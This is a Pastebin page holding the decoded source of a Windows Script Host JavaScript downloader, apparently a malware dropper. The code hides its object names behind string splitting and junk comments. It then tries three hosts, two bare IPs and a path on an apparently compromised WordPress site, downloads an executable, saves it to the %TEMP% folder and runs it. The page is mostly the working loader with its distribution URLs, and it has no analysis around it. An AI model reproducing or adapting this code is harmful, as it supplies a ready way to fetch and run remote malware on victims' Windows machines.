Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Encoded JS: http://pastebin.com/UpfATF3r
- var b = "74.117.183.84/73.exe? 5.39.222.193/73.exe? bestsurfinglessons.com/wp-includes/theme-compat/73.exe?".split(" ");
- var sdf =((1/*s147933046596n263280uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
- var ws = WScript.CreateObject(sdf);
- var fd = "%TEMP%\\";
- var fn = ws.ExpandEnvironmentStrings(fd);
- var bim = "2.XMLH";
- var poh = bim + "TTP";
- var as = true , sdfs = "ADOD";
- var xo = WScript.CreateObject("MS"+"XML"+(740509, poh));
- var xa = WScript.CreateObject(sdfs + "B.St"+(748555, "ream"));
- var ld = 0;
- var n = 1;
- for (var i=ld; i<b.length; i++) {
- var dn = 0;
- try {
- poi = "GET";
- xo.open(poi,"http://"+b[i]+n, false); xo.send(); if (xo.status == 100+100) {
- xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 201000-1000) {
- dn = 1; xa.position = 0; xa.saveToFile/*d92588s*/(fn/*d146128s*/+n+".exe",4-2); try {
- if (((new Date())>0,7573655888)) {
- ws./*d557255s*/Run(fn+n+/*d335145s*/".exe",/*d835626s*/3-2,0);
- break;
- }
- }
- catch (er) {
- };
- }; xa.close();
- };
- if (dn == 1) {
- ld = i; break;
- };
- }
- catch (er) {
- };
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement